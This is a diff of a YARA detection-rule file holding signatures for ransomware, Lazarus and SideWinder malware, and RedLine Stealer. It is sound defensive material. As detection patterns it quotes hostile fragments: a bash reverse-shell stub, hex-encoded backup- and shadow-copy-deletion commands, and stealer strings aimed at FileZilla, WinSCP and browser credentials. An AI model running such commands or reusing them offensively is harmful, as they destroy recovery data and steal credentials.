-		$s5 = { 8b ec 6a ff 68 [2] 45 00 64 a1 00 00 00 00 50 83 ec 44 a1 34 52 47 00 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b f1 8b 3d 04 a0 45 00 68 00 00 00 f0 6a 01 6a 00 6a 00 56 c7 06 00 00 00 00 ff d7 85 c0 75 60 ff 15 54 a0 45 00 6a 08 6a 01 6a 00 68 [2] 45 00 56 8b d8 ff d7 85 c0 75 46 6a 28 6a 01 50 68 [2] 45 00 56 ff d7 85 c0 75 35 53 ff 15 58 a0 45 00 68 [2] 45 00 8d 4d d8 e8 ?? 8a fd ff 8d 45 d8 c7 45 fc 00 00 00 00 50 8d 4d b0 e8 d3 00 00 00 68 [2] 47 00 8d 45 b0 50 e8 [2] 00 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d f0 33 cd e8 [2] 00 00 }
+		$s1 = "F:\\meWork\\ksj\\Test\\testVir-ga\\testvir_non\\Debug\\testvir_non.pdb" fullword ascii
+		$s2 = "\\\\.\\pipe\\TESTVIR1PIPE" fullword ascii
+		$s3 = "\\system32\\Hana80.exe" fullword ascii
+		$s4 = "\\system32\\nnr60.exe" fullword ascii
+		$s5 = { 54 45 53 54 56 49 52 31 5f 45 56 45 4e 54 5f 4f 42 4a }
+		$s6 = "INFECT" fullword ascii
+		$s7 = { 54 45 53 54 5f 5f 5f 41 43 43 45 53 53 5f 44 49 52 }
+		$s8 = { 2e 70 69 66 }
+		$s9 = { 2f 2f 2f 2f 44 41 45 4d 4f 4e }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >100KB and 4 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and 7 of them
 }
-rule ARKBIRD_SOLG_Ran_Ranzy_Locker_Nov_2020_1 : FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Dacls_June_2020_1 : FILE
 {
 	meta:
-		description = " Detect Ranzy Locker (RAAS)"
+		description = "Detect DACLS malware used by APT Lazarus"
 		author = "Arkbird_SOLG"
-		id = "7e81d73a-ef18-5f89-b6b3-f56212d30b4a"
-		date = "2020-11-19"
-		modified = "2020-11-19"
-		reference = "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-19/Ranzy_Locker/Ran_Ranzy_Locker_Nov_2020_1.yar#L1-L36"
+		id = "fb85b83a-4367-5f1d-be06-8a8e906b8df7"
+		date = "2020-06-11"
+		modified = "2020-06-12"
+		reference = "https://twitter.com/batrix20/status/1270924079826997248"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L3-L26"
 		license_url = "N/A"
-		logic_hash = "e27017fa196d14b88c5cb682a070d10e42b63f9e21189d9917c0ae03c47216cc"
+		logic_hash = "ed3e4a7a0490c5e8854d4e1bc8a223658ab9657a03c1b237af1056293a51611b"
+		score = 75
+		quality = 48
+		tags = "FILE"
+		hash1 = "2dd57d67e486d6855df8235c15c9657f39e488ff5275d0ce0fcec7fc8566c64b"
+
+	strings:
+		$s1 = "bash -i > /dev/tcp/" fullword ascii
+		$s2 = "__mh_execute_header" fullword ascii
+		$s3 = "/bin/bash -c \"" fullword ascii
+		$s4 = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" fullword ascii
+		$s5 = "@_gethostbyname" fullword ascii
+		$s6 = "@_gethostname" fullword ascii
+		$s7 = "radr://5614542" fullword ascii
+		$s8 = "sh -c \"" fullword ascii
+		$s9 = "content-type: multipart/form-data" fullword ascii
+		$s10 = "@___stack_chk_fail" fullword ascii
+		$s11 = "/usr/lib/libSystem.B.dylib" fullword ascii
+		$s12 = "@dyld_stub_binder" fullword ascii
+
+	condition:
+		uint16(0)==0xfacf and filesize <200KB and 10 of them
+}
+import "pe"
+
+rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Nukesped_June_2020_1 : FILE
+{
+	meta:
+		description = "Detect NukeSped malware used by APT Lazarus"
+		author = "Arkbird_SOLG"
+		id = "7a5b27df-43bd-544d-8d0f-72e58ce3064c"
+		date = "2020-06-11"
+		modified = "2020-06-12"
+		reference = "https://twitter.com/batrix20/status/1270924079826997248"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L28-L54"
+		license_url = "N/A"
+		logic_hash = "b1332eb255f8ae9ae6a68ef8ef86d9f5472584cae8161c27186e341990df7eae"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "393fd0768b24cd76ca653af3eba9bff93c6740a2669b30cf59f8a064c46437a2"
-		hash2 = "90691a36d1556ba7a77d0216f730d6cd9a9063e71626489094313c0afe85a939"
-		hash3 = "ade5d0fe2679fb8af652e14c40e099e0c1aaea950c25165cebb1550e33579a79"
-		hash4 = "bbf122cce1176b041648c4e772b230ec49ed11396270f54ad2c5956113caf7b7"
-		hash5 = "c4f72b292750e9332b1f1b9761d5aefc07301bc15edf31adeaf2e608000ec1c9"
+		hash1 = "90ea1c7806e2d638f4a942b36a533a1da61adedd05a6d80ea1e09527cf2d839b"
 
 	strings:
-		$s1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
-		$s2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
-		$s3 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
-		$s4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
-		$s5 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
-		$s6 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573"
-		$s7 = "7B5549447D" ascii
-		$s8 = "7B5041545445524E5F49447D" ascii
-		$s9 = "726561646D652E747874" ascii
-		$s10 = "226E6574776F726B223A22" ascii
-		$s11 = "226C616E67223A22" ascii
-		$s12 = "7B4558547D" ascii
-		$s13 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838"
-		$s14 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii
-		$s15 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii
-		$s16 = "227375626964223A22" ascii
-		$s17 = "22657874223A22" ascii
-		$s18 = "226B6579223A22" ascii
-		$seq1 = { 8b 46 50 8d 4d a4 83 7d d4 10 53 8b 1d 14 80 41 00 89 45 a4 8d 45 c0 0f 43 45 c0 51 50 6a 00 6a 01 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 b9 00 00 00 8b 46 68 8d 4d a4 83 7d ec 10 57 89 45 a4 8d 45 d8 0f 43 45 d8 33 ff 51 50 6a 00 47 57 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 8a 00 00 00 c6 45 fc 02 33 db 8b 45 e8 8b 4d d0 03 c1 6a 0f 5a 89 5d b8 89 55 bc 88 5d a8 89 7d a4 3b c2 76 15 88 5d a0 8d 4d a8 ff 75 a0 50 e8 78 02 00 00 8b 4d d0 89 5d b8 83 7d d4 10 8d 45 c0 51 0f 43 45 c0 8d 4d a8 50 e8 ca de ff ff 83 7d ec 10 8d 45 d8 ff 75 e8 0f 43 45 d8 8d 4d a8 50 e8 b3 de ff ff 8d 45 a8 50 8d 4e 70 e8 b8 d8 ff ff 8d 4d a8 e8 3f bf ff ff 8d 4d d8 e8 37 bf ff ff 8d 4d c0 e8 2f bf ff ff b0 01 eb 12 8d 4d d8 e8 23 bf ff ff 8d 4d c0 e8 1b bf ff ff 32 c0 e8 3f f1 }
-		$seq2 = { 8b 75 08 33 ff 8b 55 0c 33 c0 89 b5 68 fb ff ff 89 bd ac fb ff ff c7 85 b0 fb ff ff 07 00 00 00 66 89 85 9c fb ff ff 89 7d fc 39 7a 10 0f 84 da 00 00 00 6a 02 0f 57 c0 8d 8d 84 fb ff ff 58 66 0f 13 85 bc fb ff ff 66 89 85 b4 fb ff ff e8 6e ac ff ff 83 78 14 10 72 02 8b 00 50 ff 15 18 82 41 00 8d 8d 84 fb ff ff 89 85 b8 fb ff ff e8 8f a8 ff ff 68 87 69 00 00 ff 15 0c 82 41 00 bb 01 04 00 00 66 89 85 b6 fb ff ff 53 8d 85 c4 fb ff ff 57 50 e8 fd 2d 00 00 83 c4 0c 8d 7d cc 33 c0 6a 08 59 6a 08 6a 20 f3 ab 8d 45 cc 50 53 8d 85 c4 fb ff ff 50 6a 10 8d 85 b4 fb ff ff 50 ff 15 1c 82 41 00 85 c0 75 45 8d 85 c4 fb ff ff 50 8d 8d 6c fb ff ff e8 7f a8 ff ff 8b d0 c6 45 fc 01 8d 8d 84 fb ff ff e8 26 ab ff ff 50 8d 8d 9c fb ff ff e8 88 bf ff ff 8d 8d 84 fb ff ff e8 c8 c2 ff ff 8d 8d 6c fb ff ff e8 f5 a7 ff ff 8d 85 9c fb }
+		$s1 = "%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X" fullword wide
+		$s2 = "<htr<jtb<lt6<tt&<wt" fullword ascii
+		$s3 = "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"" fullword ascii
+		$s4 = "Content-Type: multipart/form-data; boundary=" fullword wide
+		$s5 = "POST" fullword ascii
+		$s6 = "Content-Type: octet-stream" fullword ascii
+		$s7 = "CONOUT$" fullword ascii
+		$s8 = "cmd.exe /c" fullword ascii
+		$s9 = "2>&1" fullword ascii
+		$s10 = "WINHTTP.dll" fullword ascii
+		$s11 = "WinHttpSendRequest" fullword wide
+		$s12 = "ObtainUserAgentString" fullword ascii
+		$s13 = "WS2_32.dll" fullword ascii
+		$s14 = "WinHttpReceiveResponse" fullword ascii
+		$s15 = "GetLogicalDrives" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and 10 of ($s*) and 1 of ($seq*)
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="c8379f0eeeb3a522f1dd75aa5f1500b0" or 12 of them )
 }
-rule ARKBIRD_SOLG_Ran_Buran_Oct_2020_1 : FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_Sidewinder_NET_Loader_Aug_2020_1 : FILE
 {
 	meta:
-		description = "Detect Buran ransomware"
+		description = "Detected the NET loader used by SideWinder group (August 2020)"
 		author = "Arkbird_SOLG"
-		id = "dbdc251e-9ac6-5de1-8a72-72ac159daf4c"
-		date = "2020-11-05"
-		modified = "2020-11-06"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1323956405976600579"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-06/Buran/Ran_Buran_Oct_2020_1.yar#L1-L22"
+		id = "7334a3b8-cd56-5820-a073-5bd22076644f"
+		date = "2020-08-24"
+		modified = "2020-08-24"
+		reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/SideWinder/APT_SideWinder_NET_Loader_Aug_2020_1.yar#L3-L21"
 		license_url = "N/A"
-		logic_hash = "a6984d21451c980d001e040325c66b547060653ac97556bc379da40f3ab6a70a"
+		logic_hash = "b40127cd845d75ef81eb230c12635da00dd77fc53e5886c253a2466627aa8534"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
+
+	strings:
+		$s1 = "DUSER.dll" fullword wide
+		$s2 = "UHJvZ3JhbQ==" fullword wide
+		$s3 = ".tmp           " fullword wide
+		$s4 = "U3RhcnQ=" fullword wide
+		$s5 = "Gadgets" fullword ascii
+		$s6 = "AdapterInterfaceTemplateObject" fullword ascii
+		$s7 = "FileRipper" fullword ascii
+		$s8 = "copytight @" fullword wide
+
+	condition:
+		uint16(0)==0x5a4d and filesize <4KB and ((pe.exports("FileRipper") and pe.exports("Gadgets")) and 5 of them )
+}
+rule ARKBIRD_SOLG_Mal_Stealer_NET_Redline_Aug_2020_1 : FILE
+{
+	meta:
+		description = "Detect Redline Stealer (August 2020)"
+		author = "Arkbird_SOLG"
+		id = "6fda87c3-0d00-5c00-a1ff-6d96dd726ddf"
+		date = "2020-08-24"
+		modified = "2020-08-24"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1297878628450152448"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/Redline/Mal_Stealer_NET_Redline_Aug_2020_1.yar#L1-L31"
+		license_url = "N/A"
+		logic_hash = "950641dfaf17f332e6a18961aebb2533732d82ce69f3617efa08cc63272f1786"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "66fc6e71a9c6be1f604c4a2d0650914f67c45d894fd1f76913e463079d47a8af"
-		hash2 = "93fe277d54f4baac5762412dda6f831bf6a612f166daade7c23f6b38feac94fb"
-		hash3 = "b3302c4a9fd06d9fde96c9004141f80e0a9107a9dead1659e77351f1b1c87cf6"
-		hash4 = "eb920e0fc0c360abb901e04dce172459b63bbda3ab8152350885db4b44d63ce5"
-		hash5 = "f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb"
-		hash6 = "29cdd5206422831334afa75c113b615bb8e0121254dd9a2196703ce6b1704ff8"
+		hash1 = "4195430d95ac1ede9bc986728fc4211a1e000a9ba05a3e968dd302c36ab0aca0"
 
 	strings:
-		$s1 = "!!! LOCALPUBKEY !!!" fullword ascii
-		$s2 = "!!! ENCLOCALPRIVKEY !!!" fullword ascii
-		$s3 = "!!! D !!!" fullword ascii
-		$s4 = { 8b 85 74 fd ff ff 8b 40 04 85 c0 74 05 83 e8 04 8b 00 8d 55 f4 92 e8 c1 aa fe ff 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8d 45 f4 e8 d3 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 0c 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 45 f4 8b 95 74 fd ff ff 8b 52 04 e8 da a7 fe ff 0f 84 7d 07 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 74 fd ff ff 83 c0 04 e8 63 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 10 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 50 fd ff ff 8b 10 ff 12 52 50 8b c7 99 03 85 48 fd ff ff 13 95 4c fd ff ff 3b 54 24 04 75 03 3b 04 24 5a 58 0f 85 dc 06 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 8b 85 50 fd ff ff e8 e6 cc fe ff 8b 85 74 fd ff ff 8b 40 28 85 c0 74 09 83 f8 0a 0f 85 00 01 00 00 8b 85 74 fd ff ff 83 c0 1c e8 fe a2 fe ff 8b 85 74 fd ff ff 83 c0 20 e8 f0 a2 fe ff c7 85 44 fd ff ff 01 00 00 00 b8 00 01 00 00 e8 78 44 ff ff 8b d0 8d 85 10 fd ff ff e8 b7 a4 fe ff 8b 95 10 fd ff ff 8b 85 74 fd ff ff 83 c0 20 e8 63 a5 fe ff 83 bd 44 fd ff ff 10 7f 2b b8 00 01 00 00 e8 44 44 ff ff 8b d0 8d 85 0c fd ff ff e8 83 a4 fe ff 8b 95 0c fd ff ff 8b 85 74 fd ff ff 83 c0 1c e8 2f a5 fe ff ff 85 44 fd ff ff 83 bd 44 fd ff ff 21 75 92 8b 85 74 fd ff ff 83 c0 24 50 8b 85 74 fd ff ff 8b 48 1c 8b 85 74 fd ff ff 8b 50 20 8d 85 08 fd ff ff e8 45 a5 fe ff 8b 85 08 fd ff ff 8b 95 74 fd ff ff 8d 4a 0c 8b 95 74 fd ff ff 83 c2 14 e8 c8 8f ff ff 8d 95 04 fd ff ff 8b 85 74 fd ff ff 8b 40 24 e8 0c 5c ff ff 8b 95 04 fd ff ff 8b 85 74 fd ff ff 83 c0 24 e8 60 a2 fe ff 8b 85 74 fd ff ff 83 78 28 0a 75 0d 8b 85 74 fd ff ff 33 d2 89 50 28 eb 09 8b 85 74 fd ff ff ff 40 28 8b c3 99 52 50 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 54 b2 fe ff 89 85 38 fd ff ff 89 95 3c fd ff ff 8b c3 99 52 50 8b 85 38 fd ff ff 8b 95 3c fd ff ff e8 0e b2 fe ff 52 50 8b c6 99 3b 54 24 04 75 09 3b 04 24 5a 58 73 18 eb 04 5a 58 7d 12 8b c6 99 f7 fb 99 89 85 38 fd ff ff 89 95 3c fd ff ff 83 bd 3c fd ff ff 00 75 07 83 bd 38 fd ff ff 00 74 31 ff b5 3c fd ff ff ff b5 38 fd ff ff 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 d9 b1 fe ff 89 85 30 fd ff ff 89 95 34 fd ff ff 89 9d 2c fd ff ff eb 38 c7 85 38 fd ff ff 01 00 00 00 c7 85 3c fd ff ff 00 00 00 00 8b 85 48 fd ff ff 89 85 30 fd ff ff 8b 85 4c fd ff ff 89 85 34 fd ff ff 8b 85 48 fd ff ff 89 85 2c fd ff ff 8d 45 f0 e8 05 a1 fe ff b2 01 a1 98 6f 40 00 e8 61 94 fe ff 89 85 1c fd ff ff 8b 9d 38 fd ff ff 85 db 0f 8e 9f 00 00 00 c7 85 44 fd ff ff 01 00 00 00 ff b5 34 fd ff ff ff b5 30 fd ff ff 8b 85 44 fd ff ff 48 99 e8 1e b1 fe ff 89 85 20 fd ff ff 89 95 24 fd ff ff 8d 95 20 fd ff ff b9 08 00 00 00 8b 85 1c fd ff ff 8b 30 ff 56 10 ff b5 24 fd ff ff ff b5 20 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8d 45 f4 8b 95 2c fd ff ff e8 19 a7 fe ff 8d 45 f4 e8 3d a5 fe ff 8b d0 8b 8d 2c fd ff ff 8b 85 50 fd ff ff e8 e6 ca fe ff 8d 45 f0 8b 55 f4 e8 fb a2 fe ff ff 85 44 fd ff ff 4b 0f 85 6b ff ff ff 6a 00 6a 00 33 d2 8b 85 1c fd ff ff 8b 08 ff 51 18 8d 45 ec e8 2d a0 fe ff 8b 85 1c fd ff ff 8b 10 ff 12 89 85 18 fd ff ff 8d 45 ec 8b 95 18 fd ff ff e8 af a6 fe ff 8d 45 ec e8 d3 a4 fe ff 8b d0 8b 8d 18 fd ff ff 8b 85 1c fd ff ff 8b 18 ff 53 }
-		$s5 = ": :(:,:0:4:8:<:@:D:H:\\:|:" fullword ascii
-		$s6 = " remove '.' from {.$DEFINE ComplexBraces}" fullword ascii
+		$s1 = { 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 57 00 68 00 65 00 72 00 65 00 20 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 49 00 64 00 3d 00 27 00 7b 00 30 00 7d }
+		$s2 = { 28 00 28 00 28 00 28 00 5b 00 30 00 2d 00 39 00 2e 00 5d 00 29 00 5c 00 64 00 29 00 2b 00 29 00 7b 00 31 00 7d 00 29 }
+		$s3 = { 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 72 00 65 00 63 00 65 00 6e 00 74 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2e 00 78 00 6d 00 6c }
+		$s4 = { 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 73 00 69 00 74 00 65 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 78 00 6d 00 6c }
+		$s5 = { 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 61 00 72 00 74 00 69 00 6e 00 20 00 50 00 72 00 69 00 6b 00 72 00 79 00 6c 00 5c 00 57 00 69 00 6e 00 53 00 43 00 50 00 20 00 32 00 5c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 73 }
+		$s6 = "<encrypted_key>k__BackingField" fullword ascii
+		$s7 = "set_encrypted_key" fullword ascii
+		$s8 = "UserAgentDetector" fullword ascii
+		$s9 = "set_encrypted_key" fullword ascii
+		$s10 = "set_FtpConnections" fullword ascii
+		$s11 = "set_IsProcessElevated" fullword ascii
+		$s12 = "SELECT ExecutablePath, ProcessID FROM Win32_Process" fullword wide
+		$s13 = "<IsProcessElevated>k__BackingField" fullword ascii
+		$s14 = "System.Collections.Generic.IEnumerable<RedLine.Logic.Json.JsonValue>.GetEnumerator" fullword ascii
+		$s15 = "System.Collections.Generic.IEnumerator<RedLine.Logic.Json.JsonValue>.get_Current" fullword ascii
+		$s16 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\browser.exe" fullword wide
+		$s17 = "ProcessExecutablePath" fullword ascii
+		$s18 = "IsProcessElevated" fullword ascii
+		$s19 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe" fullword wide
+		$s20 = "get_encryptedPassword" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 4 of them
+		uint16(0)==0x5a4d and filesize <90KB and 15 of them
 }
 rule ARKBIRD_SOLG_RAN_Biglock_Jun_2021_1 : FILE
 {
@@ -193759,432 +199804,765 @@ rule ARKBIRD_SOLG_RAN_Biglock_Jun_2021_1 : FILE
 	condition:
 		uint16(0)==0x5a4d and filesize >100KB and 3 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Emotet_Nov_2021_1 : FILE
+rule ARKBIRD_SOLG_RAN_Cring_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Detect Emotet loader"
+		description = "Detect CRing ransomware"
 		author = "Arkbird_SOLG"
-		id = "ad67c735-7ed9-5440-b693-55dce9840f56"
-		date = "2021-11-15"
-		modified = "2021-11-16"
-		reference = "https://cyber.wtf/2021/11/15/guess-whos-back/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-16/MAL_Emotet_Nov_2021_1.yara#L1-L19"
+		id = "3648494d-8c27-5767-90e8-45e294aac382"
+		date = "2021-04-08"
+		modified = "2021-04-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-08/CRing/RAN_CRing_Apr_2021_1.yara#L1-L19"
 		license_url = "N/A"
-		logic_hash = "9ae3cbf863fdf3addd7ec00b4d6b55024c3159156518ef15fff79f5a92988297"
+		logic_hash = "d82db146c9048391d79bda6cc5913363fc3cfc1a7cca26b23b362b7f3563ef3c"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "274ef2fba8ba46187f9cf462a02de286ea23ec75d163af01088f6856944817eb"
+		hash2 = "f7d270ca0f2b4d21830787431f881cd004b2eb102cc3048c6b4d69cb775511c8"
+		hash3 = "ebb528207b2fc06a6bc89e9d430bcdfe254f0838b0f4660f67cc6bd1ebc193be"
+		level = "Experimental"
+
+	strings:
+		$str1 = { 1b 30 03 00 4a 00 00 00 03 00 00 11 02 73 23 00 00 0a 0a 06 6f 24 00 00 0a 2d 3a 02 72 [1-4] 00 00 70 28 25 00 00 0a 0b 72 [1-4] 00 00 70 02 28 25 00 00 0a 28 1a 00 00 0a 06 6f 26 00 00 0a 07 7e 01 00 00 04 28 05 00 00 06 2c 06 06 6f 27 00 00 0a de 03 26 de 00 2a 00 00 01 10 00 00 00 00 1b 00 2b 46 00 03 13 00 00 01 }
+		$str2 = { 1b 30 05 00 1a 01 00 00 04 00 00 11 16 0a 73 28 00 00 0a 0b 07 6f 29 00 00 0a 1e 5b 8d 2c 00 00 01 0c 07 6f 2a 00 00 0a 1e 5b 8d 2c 00 00 01 0d 73 2b 00 00 0a 13 06 11 06 08 6f 2c 00 00 0a 11 06 09 6f 2c 00 00 0a de 0c 11 06 2c 07 11 06 6f 12 00 00 0a dc 08 8e 69 09 8e 69 58 8d 2c 00 00 01 13 04 08 11 04 08 8e 69 28 2d 00 00 0a 09 16 11 04 08 8e 69 09 8e 69 28 2e 00 00 0a 11 04 04 28 06 00 00 06 13 04 11 04 8e 69 28 2f 00 00 0a 13 05 07 08 09 6f 30 00 00 0a 13 07 02 19 73 31 00 00 0a 13 08 03 18 73 31 00 00 0a 13 09 11 09 11 07 17 73 32 00 00 0a 13 0a 11 09 11 05 16 11 05 8e 69 6f 33 00 00 0a 11 09 11 04 16 11 04 8e 69 6f 33 00 00 0a 11 08 11 0a 20 [4] 6f 34 00 00 0a de 30 11 0a 2c 07 11 0a 6f 12 00 00 0a dc 11 09 2c 07 11 09 6f 12 00 00 0a dc 11 08 2c 07 11 08 6f 12 00 00 0a dc 11 07 2c 07 11 07 6f 12 00 00 0a dc 17 0a de 0a 07 2c 06 07 6f 12 00 00 0a dc 06 2a 00 00 41 94 00 00 02 00 00 00 2b 00 00 00 12 00 00 00 3d 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 ae 00 00 00 2c 00 00 00 da 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 a2 00 00 00 44 00 00 00 e6 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 99 00 00 00 59 00 00 00 f2 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 90 00 00 00 6e 00 00 00 fe 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 08 00 00 00 06 01 00 00 0e 01 00 00 0a 00 00 00 00 00 00 00 }
+		$str3 = { 1b 30 03 00 24 00 00 00 05 00 00 11 73 35 00 00 0a 0a 06 03 6f 36 00 00 0a 06 02 17 6f 37 00 00 0a 0b de 0a 06 2c 06 06 6f 12 00 00 0a dc 07 2a 01 10 00 00 02 00 06 00 12 18 00 0a 00 00 00 00 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >5KB and 2 of them
+}
+rule ARKBIRD_SOLG_Ran_Loader_Hades_Dec_2020_1 : FILE
+{
+	meta:
+		description = "Detect the loader used by Hades ransomware for load the final implant in memory"
+		author = "Arkbird_SOLG"
+		id = "d48d3a2b-3f0f-5da2-aba9-db2366489a6c"
+		date = "2020-12-27"
+		modified = "2021-01-01"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-01/Hades/Ran_Loader_Hades_Dec_2020_1.yar#L2-L24"
+		license_url = "N/A"
+		logic_hash = "cfa0f8acd3c526f7f4889794f7c38547a88031bb615a03ad5c1542c61bc0eecd"
+		score = 50
+		quality = 71
+		tags = "FILE"
+		hash1 = "0dfcf4d5f66310de87c2e422d7804e66279fe3e3cd6a27723225aecf214e9b00"
+		hash2 = "ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d"
+		level = "Experimental"
+
+	strings:
+		$seq1 = { 48 83 ec 58 8b 0d 9e aa 1c 00 ba 01 14 00 00 ff 15 93 9a 1c 00 48 85 c0 74 07 33 c0 e9 c1 3b 00 00 48 8b 05 58 99 1c 00 48 89 44 24 30 c7 44 24 3c 2c 01 00 00 c7 44 24 38 01 00 00 00 33 c9 ff 15 cb 99 1c 00 48 89 05 74 aa 1c 00 48 8b 05 6d aa 1c 00 48 63 48 3c 48 8b 05 62 aa 1c 00 48 03 c1 48 89 05 88 aa 1c 00 48 8d 44 24 3c 48 89 44 24 28 48 8d 05 a7 aa 1c 00 48 89 44 24 20 4c 8d 4c 24 38 45 33 c0 48 8d 15 53 aa 1c 00 48 8b 0d e4 ac 1c 00 ff 54 24 30 48 85 c0 74 05 e8 5e ff ff ff 48 8d 05 2d 3d 00 00 48 89 05 38 aa 1c 00 48 8b 05 31 aa 1c 00 }
+		$seq2 = { 89 54 24 10 89 4c 24 08 48 83 ec 18 8b 44 24 20 89 04 24 8b 44 24 28 89 44 24 04 8b 44 24 04 39 04 24 73 0f c7 44 24 20 04 00 00 00 8b 04 24 eb 0e eb 0c c7 44 24 20 35 00 00 00 8b 44 24 04 48 83 c4 18 }
+		$seq3 = { 48 8b 05 c1 ?? 1c 00 48 89 05 32 ?? 1c 00 }
+		$s1 = "111111111\\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}" fullword wide
+		$s2 = "_VERSION_INFO" fullword wide
+		$s3 = "VkKeyScanW" fullword ascii
+		$s4 = { 53 43 61 4d 69 72 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >300KB and 2 of ($seq*) and 3 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Heinote_June_2020_1 : FILE
+{
+	meta:
+		description = "Detect Hienote malware"
+		author = "Arkbird_SOLG"
+		id = "5c0e604a-83d4-5c6f-83fa-0df878da80d8"
+		date = "2020-06-26"
